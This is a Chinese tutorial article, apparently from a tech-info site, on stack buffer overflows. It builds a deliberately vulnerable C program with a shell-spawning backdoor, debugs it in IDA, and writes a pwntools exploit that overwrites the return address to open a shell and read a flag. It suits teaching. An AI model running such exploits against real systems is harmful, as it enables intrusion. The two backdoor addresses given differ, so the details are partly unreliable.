千家信息网

如何理解栈溢出原理以及EXP的编写

发表于:2024-10-22 作者:千家信息网编辑
千家信息网最后更新 2024年10月22日,本篇内容介绍了"如何理解栈溢出原理以及EXP的编写"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!存在
千家信息网最后更新 2024年10月22日如何理解栈溢出原理以及EXP的编写

本篇内容介绍了"如何理解栈溢出原理以及EXP的编写"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

存在栈溢出的代码分析

稍微懂点C和汇编,这个例子人人都能上手,简单说,有手就行。贴出我们本次实验要使用的C代码,解释的方式我都用注释来进行:

//stack_overflow.c#include // 这是存在栈溢出的函数void stack_overflow(){        char buf[64] = {0};        scanf("%s", &buf); //将输入的数据读入buf中        printf("Hello %s\n", &buf); //打印出buf中的内容}// 为了方便实验这里留下一个后门函数void get_shell(){        system("/bin/sh");}// 程序入口void main(){        stack_overflow();}

分析一下,上边代码存在栈溢出的部分在`scanf()`函数,因为buf是在栈空间中的,buf是分配了64个字节但是却没有限制输入的长度。

如何栈溢出

既然是栈溢出,那么我相信大家都有一定的基础吧,起码了解下什么是栈。首先最重要的是,我们要知道为什么会有栈的存在,这要从函数的发明说起,感兴趣的可以查阅一下wiki。栈的用途之一就是为了存储局部变量,那么上层函数的返回地址也存储在栈中。

第一次调试

代码写好了,我们先来编译运行一下

[root@localhost pwn]# gcc stack_overflow.c -o stack_overflow[root@localhost pwn]# ./stack_overflow stack_overflowHello stack_overflow

好,结果简简单单,输入一个字符串,然后输出。那么我们打开宿主机的IDA,把我们编译好的程序拖进IDA,然后在stack_overflow的地方下好断点

接下来将IDA安装目录的linux_server拷贝到centOS上,运行起来

[root@localhost pwn]# ./linux_server IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017Listening on 0.0.0.0:23946...

到IDA中,选择 "Debugger" --> "Select debugger";然后选"Remote Linux debugger",点击"OK";点击"Debugger" --> "Process options...";Hostname填入centOS的IP,Port默认是23946;其他的默认,然后我们按"F9"开始调试

我们继续往下走,直到输入`AAAAAA`之后

那么到这里,思路来了,因为上边那个程序没有对输入的长度做校验,对于上边那个程序我们要做的就是计算好输入的长度,然后将后门地址填充到返回的地址,计算一下输入的地址距离buf地址的长度`0xBF8C17BC-0xBF8C1770`等于`0x4C`所以接下来思路就很明确了,我们填充0x4C个字符后,再填入后门的地址。

第二次调试

紧接着第一次调试,这次调试我们使用pwntools接管程序的输入输出。首先,我们在centOS上使用socat将输入输出转发到9999端口:

[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0

[root@localhost pwn]# socat tcp-listen:9999,reuseaddr,fork EXEC:./stack_overflow,pty,raw,echo=0

然后我们用pwntools连接下:

➜  ~ python3Python 3.7.4 (default, Sep  7 2019, 17:46:28)[Clang 10.0.1 (clang-1001.0.46.4)] on darwinType "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> io = remote('172.16.177.134', 9999)[x] Opening connection to 172.16.177.134 on port 9999[x] Opening connection to 172.16.177.134 on port 9999: Trying 172.16.177.134[+] Opening connection to 172.16.177.134 on port 9999: Done

此时已经连接成功,stack_overflow程序也已经跑起来了;返回IDA,我们在scanf的下一句汇编下好断点;然后选择"Debugger" --> "Attach to process...",选择运行起来的stack_overflow;点击"OK";然后再按下"F9",让程序跑起来

在Python中,我们继续,发送我们输入的数据,记得要发送一个回车,也可以用sendline()函数,自带回车:

>>> payload = b'A'*0x4c + p32(0x0804848e)>>> io.send(payload)>>> io.send('\n')

接下来IDA断下了,我们继续往下步过,到retn,我们发现即将跳转到get_shell()这里。

接下来我就不一一调试了,感兴趣的同学可以继续往下跟,这里我直接`F9`,然后使用pwntools进入命令行的交互模式,为了让大家有点感觉`:)`,我这里加了一个flag.txt:

>>> io.interactive()[*] Switching to interactive modeHello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��lsflag.txt  linux_server        stack_overflow  stack_overflow.ccat flag.txtflag{Y0u_Win_by_ATL_TEAM}

每次调试完完记得io.close(),不然会出现很多stack_overflow的程序。

EXP编写

综合上述,那么EXP应该这样写

#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *io = remote('172.16.177.134', 9999)payload = b'A'*0x4C + p32(0x08048475)io.sendline(payload)io.interactive()io.close()

"如何理解栈溢出原理以及EXP的编写"的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注网站,小编将为大家输出更多高质量的实用文章!

输入 程序 函数 地址 接下来 代码 长度 输出 上边 内容 后门 运行 选择 原理 兴趣 字符 就是 思路 数据 断点 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 如何查看mysql数据库版本 盛传网络技术有限公司 科技文互联网文阅读问答 两个不同数据库的相同表格合并 网络安全班主任教案 电脑自定义定位软件开发 应急管理局网络安全等保建设 专业技术人网络安全知识答案 宜兴进口软件开发规范 网络安全推广方案 bak数据库 网络安全需要引起重视 python网络技术采集 课程思政与网络安全结合 web服务器上创建网站的方法 全球影响力时代数据库 杭州网页直播软件开发 软件开发项目报价单标准模板 什么是计算机网络技术销售公司 戴威尔网络安全教学怎么样 小月和不灵姐的服务器联机生存 我的世界服务器玩家上限 巫山服务器运维 深圳早餐店扫码点餐软件开发 白夜极光什么服务器有中文 丹徒宜和网络安全 床下蛛丝打一网络安全用语 服务器创建数据库 管理软件开发公司市场分析 我的世界动力机械服务器
0